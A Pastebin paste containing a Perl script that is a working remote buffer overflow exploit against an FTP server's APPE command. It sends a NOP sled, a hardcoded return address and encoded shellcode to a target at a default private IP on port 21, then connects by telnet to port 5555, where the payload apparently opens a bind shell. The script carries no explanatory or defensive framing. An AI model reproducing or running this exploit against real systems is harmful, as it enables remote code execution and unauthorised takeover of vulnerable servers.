Advertisement
Guest User

port

a guest
Aug 28th, 2014
278
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 2.46 KB | None | 0 0
  1. use strict;
  2. use Socket;
  3. my $command = "APPE ";
  4. my $buffstuff = "\x90" x 246;
  5. my $offset_eip = pack('V',0x71AB9372);
  6. my $payloadencoded="\x90" x 50;
  7. $payloadencoded=$payloadencoded. "\xba\x3f\xd4\x83\xe9\xdb\xcc\xd9\
  8. x74\x24\xf4\x5f\x2b\xc9" .
  9. "\xb1\x56\x31\x57\x13\x83\xc7\x04\x03\x57\x30\x36\x76\x15" .
  10. "\xa6\x3f\x79\xe6\x36\x20\xf3\x03\x07\x72\x67\x47\x35\x42" .
  11. "\xe3\x05\xb5\x29\xa1\xbd\x4e\x5f\x6e\xb1\xe7\xea\x48\xfc" .
  12. "\xf8\xda\x54\x52\x3a\x7c\x29\xa9\x6e\x5e\x10\x62\x63\x9f" .
  13. "\x55\x9f\x8b\xcd\x0e\xeb\x39\xe2\x3b\xa9\x81\x03\xec\xa5" .
  14. "\xb9\x7b\x89\x7a\x4d\x36\x90\xaa\xfd\x4d\xda\x52\x76\x09" .
  15. "\xfb\x63\x5b\x49\xc7\x2a\xd0\xba\xb3\xac\x30\xf3\x3c\x9f" .
  16. "\x7c\x58\x03\x2f\x71\xa0\x43\x88\x69\xd7\xbf\xea\x14\xe0" .
  17. "\x7b\x90\xc2\x65\x9e\x32\x81\xde\x7a\xc2\x46\xb8\x09\xc8" .
  18. "\x23\xce\x56\xcd\xb2\x03\xed\xe9\x3f\xa2\x22\x78\x7b\x81" .
  19. "\xe6\x20\xd8\xa8\xbf\x8c\x8f\xd5\xa0\x69\x70\x70\xaa\x98" .
  20. "\x65\x02\xf1\xf4\x4a\x39\x0a\x05\xc4\x4a\x79\x37\x4b\xe1" .
  21. "\x15\x7b\x04\x2f\xe1\x7c\x3f\x97\x7d\x83\xbf\xe8\x54\x40" .
  22. "\xeb\xb8\xce\x61\x93\x52\x0f\x8d\x46\xf4\x5f\x21\x38\xb5" .
  23. "\x0f\x81\xe8\x5d\x5a\x0e\xd7\x7e\x65\xc4\x6e\xb9\xab\x3c" .
  24. "\x23\x2e\xce\xc2\xd6\x1d\x47\x24\xb2\x71\x0e\xfe\x2a\xb0" .
  25. "\x75\x37\xcd\xcb\x5f\x6b\x46\x5c\xd7\x65\x50\x63\xe8\xa3" .
  26. "\xf3\xc8\x40\x24\x87\x02\x55\x55\x98\x0e\xfd\x1c\xa1\xd9" .
  27. "\x77\x71\x60\x7b\x87\x58\x12\x18\x1a\x07\xe2\x57\x07\x90" .
  28. "\xb5\x30\xf9\xe9\x53\xad\xa0\x43\x41\x2c\x34\xab\xc1\xeb" .
  29. "\x85\x32\xc8\x7e\xb1\x10\xda\x46\x3a\x1d\x8e\x16\x6d\xcb" .
  30. "\x78\xd1\xc7\xbd\xd2\x8b\xb4\x17\xb2\x4a\xf7\xa7\xc4\x52" .
  31. "\xd2\x51\x28\xe2\x8b\x27\x57\xcb\x5b\xa0\x20\x31\xfc\x4f" .
  32. "\xfb\xf1\x02\xa1\x31\xec\x93\x18\xa0\x4d\xfe\x9a\x1f\x91" .
  33. "\x07\x19\x95\x6a\xfc\x01\xdc\x6f\xb8\x85\x0d\x02\xd1\x63" .
  34. "\x31\xb1\xd2\xa1";
  35. my $target = shift || '192.168.75.141';
  36. my $targetport = shift || 21;
  37. my $tcpproto = getprotobyname('tcp');
  38. my $binaddr = inet_aton($target);
  39. my $exactaddr = sockaddr_in($targetport, $binaddr);
  40. print "Initializing and Socket Setting Up..\n";
  41. socket(SOCKET, PF_INET, SOCK_STREAM, $tcpproto) or die "socket: $!";
  42. print "\nMaking a Connection To the Target";
  43. connect(SOCKET, $exactaddr) or die "connect: $!";
  44. print "\nExplotiing The Target Machine";
  45. print SOCKET $command.$buffstuff.$offset_eip.$payloadencoded."\n";
  46. print "\nExploit Completed";
  47. print "\nInitializing the Connection to The Opened Port by the
  48. Payload";
  49. system("telnet $target 5555");
  50. close SOCKET or die "close: $!";
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement